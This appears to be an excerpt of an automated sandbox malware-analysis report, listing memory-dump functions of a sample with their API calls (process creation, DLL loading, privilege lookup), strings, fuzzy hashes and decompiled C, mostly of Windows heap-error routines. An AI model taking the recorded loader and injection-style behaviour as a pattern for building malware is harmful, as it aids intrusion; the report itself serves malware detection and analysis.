API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4f1d78b04edb02d9f8735eaf640892e61eb49d0013bb09e48386d7eb2eacfb76
Instruction ID: 08b8eee3c023af99f2e56df9bb5bb291c6ae52702b7271496b411ff488a1ddb6
Opcode Fuzzy Hash: 4f1d78b04edb02d9f8735eaf640892e61eb49d0013bb09e48386d7eb2eacfb76
Instruction Fuzzy Hash: 849002A122180043F24169694C15B470009D7D0347F51C125A0545954CDA55E8A166A1

Uniqueness

Uniqueness Score: -1.00%

Function 021C6EF0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 021C6F98

Strings

net.dll, xrefs: 021C6F61, 021C6FE7, 021C6FBF, 021C6FCB, 021C6FF3
wininet.dll, xrefs: 021C6F4E, 021C6F57

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 03d41cf3a13b2fb4802584e5cc4aa97dff399ad698c1439f5adf2832003c1629
Instruction ID: ee0bcd439b95f4423f14404f4596d626ea9753fa41f7c0a4f0853cefdc2bfcc2
Opcode Fuzzy Hash: 03d41cf3a13b2fb4802584e5cc4aa97dff399ad698c1439f5adf2832003c1629
Instruction Fuzzy Hash: 04318DB9641304AFC721DFA8C8A0FA7B7F9AB98700F10841DF61AAB240D770B445CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 021C6EE9, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 80sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 021C6F98

Strings

net.dll, xrefs: 021C6F61, 021C6FBF, 021C6FCB
wininet.dll, xrefs: 021C6F4E, 021C6F57

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: dadd145be0ec19e81a273c7a6e12b3ace5493c717fe02d43ad861a737fea092e
Instruction ID: bc5caf9243637a14f9f12b670a60801c5ad450dcdfb440c207ad18e938631fb1
Opcode Fuzzy Hash: dadd145be0ec19e81a273c7a6e12b3ace5493c717fe02d43ad861a737fea092e
Instruction Fuzzy Hash: 36219EB5641304AFC711DF64C8A0FABB7B8BB98700F10802DF6196B240D370A455CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 021C84E0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,021B3B93), ref: 021C850D

Strings

.z`, xrefs: 021C84FC, 021C8508

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: e8e686e171bd8f134aa674b92a59f1db895c8896d5e1fc1d815cbdba1fb24e3f
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 41E012B5200208ABDB18EF99CC88EA777ADAF88750F118559BA085B241C631E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 021B7270, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 021B72CA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 021B72EB

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 49ab76c00c9184220b9dbad1f4bc5ba5386cd827cddda64d51339b7d16c96ff1
Instruction ID: e24280c5790ff16a626bde9a8fc2d2cb4e4afdca720360a7d4214f351786d470
Opcode Fuzzy Hash: 49ab76c00c9184220b9dbad1f4bc5ba5386cd827cddda64d51339b7d16c96ff1
Instruction Fuzzy Hash: E901DF32EC02287BEB21AA948C02FFEB76C5F40B50F140458FF04BA1C0E7946A068AE5

Uniqueness

Uniqueness Score: -1.00%

Function 021B9B30, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 021B9BA2

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: d1a7e311fc2caab488508abefa7eba83c1d9a65e526c810d79743b0110f17352
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: C9015EB9D4020DABDB10DAE0DD41FDEB3799F54308F104198EA0897240F731E704CB91

Uniqueness

Uniqueness Score: -1.00%

Function 021C854D, Relevance: 1.5, APIs: 1, Instructions: 44processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 021C85A4

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: c22b1a0ad1870cc860622e56f2d3ed47e2761fbf61bd06c13e0f563f115e34ab
Instruction ID: bf827f46c7a151db5130896c5ba425141955cf2d18effbd7fbd80d2074a93151
Opcode Fuzzy Hash: c22b1a0ad1870cc860622e56f2d3ed47e2761fbf61bd06c13e0f563f115e34ab
Instruction Fuzzy Hash: EB01AFB6210108AFCB54DF89DC80EEB77AEAF9C754F158258FA0DA7241D630EC51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 021C8550, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 021C85A4

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 4496ffe8e7a89aa40ae45fd4b83a25988bc28b0f96071fff94368bc7a503f665
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 4701AFB2210108AFCB54DF89DC80EEB77ADAF8C754F158258BA0D97240C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 021C7014, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,021BCCE0,?,?), ref: 021C705C

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 5bdc8ffaf638ff2db6a030fb4b9c7bfdc3f736071f7381415dc54baeab2dbaea
Instruction ID: 63acd071c6c5b74a21c2f1887b101f3e34d999a6d818ccab379d3eba96d157dd
Opcode Fuzzy Hash: 5bdc8ffaf638ff2db6a030fb4b9c7bfdc3f736071f7381415dc54baeab2dbaea
Instruction Fuzzy Hash: 4DF02B767802003BD73025589C43FE777A99FA1B10F71002DFA09EB2C0C7D4F8018A64

Uniqueness

Uniqueness Score: -1.00%

Function 021C7020, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,021BCCE0,?,?), ref: 021C705C

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 095b0b520be20d85b9640018a1fec647bbd965483516bedb257205f626dfced0
Instruction ID: efb7b11b49be6c488a913d66c7ddb5e00a5b614d9013c93b597b690be766d31c
Opcode Fuzzy Hash: 095b0b520be20d85b9640018a1fec647bbd965483516bedb257205f626dfced0
Instruction Fuzzy Hash: 39E06D773802043AE33065A9AC02FA7B39D8B91B21F65002AFA0DEA2C0D695F80146A4

Uniqueness

Uniqueness Score: -1.00%

Function 021C8632, Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,021BCFB2,021BCFB2,?,00000000,?,?), ref: 021C8670

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 7a231747c0c9aa78cd7dff6b8a18388289b7a7f380fb986617767044754a6f12
Instruction ID: 639b241dba2b8993be6d88f9ab28e17d47a9539667da282491e80ef7a07c181f
Opcode Fuzzy Hash: 7a231747c0c9aa78cd7dff6b8a18388289b7a7f380fb986617767044754a6f12
Instruction Fuzzy Hash: 7AF039B56402086FCB20DF58DC84EE777A9AF89B10F018195FD086B241CA31ED118BB1

Uniqueness

Uniqueness Score: -1.00%

Function 021C8640, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,021BCFB2,021BCFB2,?,00000000,?,?), ref: 021C8670

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 53b89efb651f3872a33e50c83633118486a23789e9494671f7311befe74c50e1
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 67E01AB52002086BDB10DF49CC84EE737ADAF88650F118155BA0857241CA31E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 021C84A0, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(021C3526,?,021C3C9F,021C3C9F,?,021C3526,?,?,?,?,?,00000000,00000000,?), ref: 021C84CD

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: 33690fdfed6b8795f07f06481d543af1ad9b41b2ecbbea0897dee3dab1d308a4
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 79E012B5200208ABDB14EF99CC80EA777ADAF88650F118559BA085B241C631F9108BB0

Uniqueness

Uniqueness Score: -1.00%

Function 021BD418, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,021B7C73,?), ref: 021BD44B

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 160b4746a49ede98ddc4ab3355a7ed4dcb0d1c1d5479ee7198690af0725a74a3
Instruction ID: fd80dce87e848174bd4cecade3b3360a4b4df33fb7a44a1cba776fee9fb84baf
Opcode Fuzzy Hash: 160b4746a49ede98ddc4ab3355a7ed4dcb0d1c1d5479ee7198690af0725a74a3
Instruction Fuzzy Hash: D8D02E623803043FE600BAE8EC03FAA72895F84B04F0A8074F988DA3C3DA50E10046A2

Uniqueness

Uniqueness Score: -1.00%

Function 021BD420, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,021B7C73,?), ref: 021BD44B

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction ID: 1bf2c1dae99ed1e7fd98f847a0d74dce61bc32d4ae0b01fe3d69ac3147ebd2c5
Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction Fuzzy Hash: D9D05E657903042AE614BAA49C02F6672895B54A04F594064F948962C3DA54E4004561

Uniqueness

Uniqueness Score: -1.00%

Function 021C84D2, Relevance: 1.5, APIs: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(021C3526,?,021C3C9F,021C3C9F,?,021C3526,?,?,?,?,?,00000000,00000000,?), ref: 021C84CD

Memory Dump Source

Source File: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, Offset: 021B0000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 081b32a402b3cec72de3e6b262946ea451df00b1ffd9ecb435921d0e42fb6493
Instruction ID: 23b0e3f0c5e03b5bd3c0afd3d470da01ef64fd42f4df0167da71e09239a3b868
Opcode Fuzzy Hash: 081b32a402b3cec72de3e6b262946ea451df00b1ffd9ecb435921d0e42fb6493
Instruction Fuzzy Hash: 03D0233600D9402FF715DB909DA14F37F6DED4A11532D449ED5984F109D52998055F90

Uniqueness

Uniqueness Score: -1.00%

Function 046A967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 046A9694

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: af8d15b8357371d50ef053bed73b0ba07fb75e7ca2789c07cf35ec0405a3bffa
Instruction ID: a8ecca9858be5bd2afc4da2bf78382955a5ffdb724dfad1a8e77b4bff6974129
Opcode Fuzzy Hash: af8d15b8357371d50ef053bed73b0ba07fb75e7ca2789c07cf35ec0405a3bffa
Instruction Fuzzy Hash: 30B02BF19014C0C6F701DB6006087173900BBD0300F26C021D1020640A4338E0D0F6F1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0471B260, Relevance: 37.8, Strings: 30, Instructions: 262COMMON

Download Yara Rule

Strings

*** enter .cxr %p for the context, xrefs: 0471B50D
*** then kb to get the faulting stack, xrefs: 0471B51C
Go determine why that thread has not released the critical section., xrefs: 0471B3C5
The resource is owned exclusively by thread %p, xrefs: 0471B374
This failed because of error %Ix., xrefs: 0471B446
The resource is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0471B38F
read from, xrefs: 0471B4AD, 0471B4B2
an invalid address, %p, xrefs: 0471B4CF
The critical section is owned by thread %p., xrefs: 0471B3B9
This means the machine is out of memory. Use !vm to see where all the memory is being used., xrefs: 0471B484
*** Unhandled exception 0x%08lx, hit in %ws:%s, xrefs: 0471B2DC
The resource is owned shared by %d threads, xrefs: 0471B37E
The instruction at %p referenced memory at %p., xrefs: 0471B432
This means the data could not be read, typically because of a bad block on the disk. Check your hardware., xrefs: 0471B47D
*** Critical Section Timeout (%p) in %ws:%s, xrefs: 0471B39B
*** An Access Violation occurred in %ws:%s, xrefs: 0471B48F
*** Restarting wait on critsec or resource at %p (in %ws:%s), xrefs: 0471B53F
*** A stack buffer overrun occurred in %ws:%s, xrefs: 0471B2F3
The instruction at %p tried to %s , xrefs: 0471B4B6
If this bug ends up in the shipping product, it could be a severe security hole., xrefs: 0471B314
*** Inpage error in %ws:%s, xrefs: 0471B418
write to, xrefs: 0471B4A6
The critical section is unowned. This usually implies a slow-moving machine due to memory pressure, xrefs: 0471B3D6
a NULL pointer, xrefs: 0471B4E0
*** Resource timeout (%p) in %ws:%s, xrefs: 0471B352
The stack trace should show the guilty function (the function directly above __report_gsfailure)., xrefs: 0471B323
*** enter .exr %p for the exception record, xrefs: 0471B4F1
<unknown>, xrefs: 0471B27E, 0471B2D1, 0471B350, 0471B399, 0471B417, 0471B48E
This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked., xrefs: 0471B305
This means that the I/O device reported an I/O error. Check your hardware., xrefs: 0471B476

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** A stack buffer overrun occurred in %ws:%s$ *** An Access Violation occurred in %ws:%s$ *** Critical Section Timeout (%p) in %ws:%s$ *** Inpage error in %ws:%s$ *** Resource timeout (%p) in %ws:%s$ *** Unhandled exception 0x%08lx, hit in %ws:%s$ *** enter .cxr %p for the context$ *** Restarting wait on critsec or resource at %p (in %ws:%s)$ *** enter .exr %p for the exception record$ *** then kb to get the faulting stack$<unknown>$Go determine why that thread has not released the critical section.$If this bug ends up in the shipping product, it could be a severe security hole.$The critical section is owned by thread %p.$The critical section is unowned. This usually implies a slow-moving machine due to memory pressure$The instruction at %p referenced memory at %p.$The instruction at %p tried to %s $The resource is owned exclusively by thread %p$The resource is owned shared by %d threads$The resource is unowned. This usually implies a slow-moving machine due to memory pressure$The stack trace should show the guilty function (the function directly above __report_gsfailure).$This failed because of error %Ix.$This is usually the result of a memory copy to a local buffer or structure where the size is not properly calculated/checked.$This means that the I/O device reported an I/O error. Check your hardware.$This means the data could not be read, typically because of a bad block on the disk. Check your hardware.$This means the machine is out of memory. Use !vm to see where all the memory is being used.$a NULL pointer$an invalid address, %p$read from$write to
API String ID: 0-108210295
Opcode ID: 0405a753a4d52b7671d8a4dabf4814851089e040921032f7dc581fa8992b27d3
Instruction ID: 8f1bc9a790c60e592533b64fbc5fc4001b463009a06d61035e20e5af2a62f7a8
Opcode Fuzzy Hash: 0405a753a4d52b7671d8a4dabf4814851089e040921032f7dc581fa8992b27d3
Instruction Fuzzy Hash: 9381F375A00200BFEB216F49CC89D6B3F26EF46B55F408048FA056B272F265B951DFB6

Uniqueness

Uniqueness Score: -1.00%

Function 04721C06, Relevance: 31.4, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E04721C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x46448a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0466B150();
				} else {
					E0466B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x475589c);
				E0466B150("Heap error detected at %p (heap handle %p)\n",  *0x47558a0);
				_t27 =  *0x4755898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M04721E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0466B150();
				} else {
					E0466B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E0466B150("Error code: %d - %s\n",  *0x4755898);
				_t113 =  *0x47558a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0466B150();
					} else {
						E0466B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0466B150("Parameter1: %p\n",  *0x47558a4);
				}
				_t115 =  *0x47558a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0466B150();
					} else {
						E0466B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0466B150("Parameter2: %p\n",  *0x47558a8);
				}
				_t117 =  *0x47558ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0466B150();
					} else {
						E0466B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E0466B150("Parameter3: %p\n",  *0x47558ac);
				}
				_t119 =  *0x47558b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E0466B150();
					} else {
						E0466B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x47558b4);
					E0466B150("Last known valid blocks: before - %p, after - %p\n",  *0x47558b0);
				} else {
					_t120 =  *0x47558b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E0466B150();
				} else {
					E0466B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E0466B150("Stack trace available at %p\n", 0x47558c0);
			}

0x04721c10
0x04721c16
0x04721c1e
0x04721c3d
0x04721c3e
0x04721c20
0x04721c35
0x04721c3a
0x04721c44
0x04721c55
0x04721c5a
0x04721c65
0x04721c67
0x00000000
0x04721c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04721c67
0x04721cdc
0x04721ce5
0x04721d04
0x04721d05
0x04721ce7
0x04721cfc
0x04721d01
0x04721d0b
0x04721d17
0x04721d1f
0x04721d25
0x04721d30
0x04721d4f
0x04721d50
0x04721d32
0x04721d47
0x04721d4c
0x04721d61
0x04721d67
0x04721d68
0x04721d6e
0x04721d79
0x04721d98
0x04721d99
0x04721d7b
0x04721d90
0x04721d95
0x04721daa
0x04721db0
0x04721db1
0x04721db7
0x04721dc2
0x04721de1
0x04721de2
0x04721dc4
0x04721dd9
0x04721dde
0x04721df3
0x04721df9
0x04721dfa
0x04721e00
0x04721e0a
0x04721e13
0x04721e32
0x04721e33
0x04721e15
0x04721e2a
0x04721e2f
0x04721e39
0x04721e4a
0x04721e02
0x04721e02
0x04721e08
0x00000000
0x00000000
0x04721e08
0x04721e5b
0x04721e7a
0x04721e7b
0x04721e5d
0x04721e72
0x04721e77
0x04721e95

Strings

heap_failure_multiple_entries_corruption, xrefs: 04721C8A
heap_failure_generic, xrefs: 04721C7C
heap_failure_freelists_corruption, xrefs: 04721CC9
Parameter2: %p, xrefs: 04721DA5
heap_failure_buffer_underrun, xrefs: 04721C9F
heap_failure_listentry_corruption, xrefs: 04721CD0
heap_failure_lfh_bitmap_mismatch, xrefs: 04721CD7
Parameter1: %p, xrefs: 04721D5C
heap_failure_unknown, xrefs: 04721C75
heap_failure_cross_heap_operation, xrefs: 04721CC2
Error code: %d - %s, xrefs: 04721D12
heap_failure_internal, xrefs: 04721C6E
Heap error detected at %p (heap handle %p), xrefs: 04721C50
HEAP: , xrefs: 04721C16, 04721C3D, 04721D04, 04721D4F, 04721D98, 04721DE1, 04721E32, 04721E7A
heap_failure_invalid_allocation_type, xrefs: 04721CB4
heap_failure_block_not_busy, xrefs: 04721CA6
Stack trace available at %p, xrefs: 04721E86
heap_failure_usage_after_free, xrefs: 04721CBB
HEAP[%wZ]: , xrefs: 04721C30, 04721CF7, 04721D42, 04721D8B, 04721DD4, 04721E25, 04721E6D
heap_failure_buffer_overrun, xrefs: 04721C98
Last known valid blocks: before - %p, after - %p, xrefs: 04721E45
Parameter3: %p, xrefs: 04721DEE
heap_failure_virtual_block_corruption, xrefs: 04721C91
heap_failure_invalid_argument, xrefs: 04721CAD
heap_failure_entry_corruption, xrefs: 04721C83

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: 892310428861bcb949564934b46dd50a9b4f26fb301d45e86f87f852bfdf2935
Instruction ID: 32852121bf093afc1c75915a287cbcc35d266f090d2b93c84dcaa03047e8a679
Opcode Fuzzy Hash: 892310428861bcb949564934b46dd50a9b4f26fb301d45e86f87f852bfdf2935
Instruction Fuzzy Hash: 2961C637A11264EFEB119B45D588E20B3A4FB04E34B49806EF80A9F350F669BD808F0D

Uniqueness

Uniqueness Score: -1.00%

Function 04673D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E04673D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E04671B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E04671B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
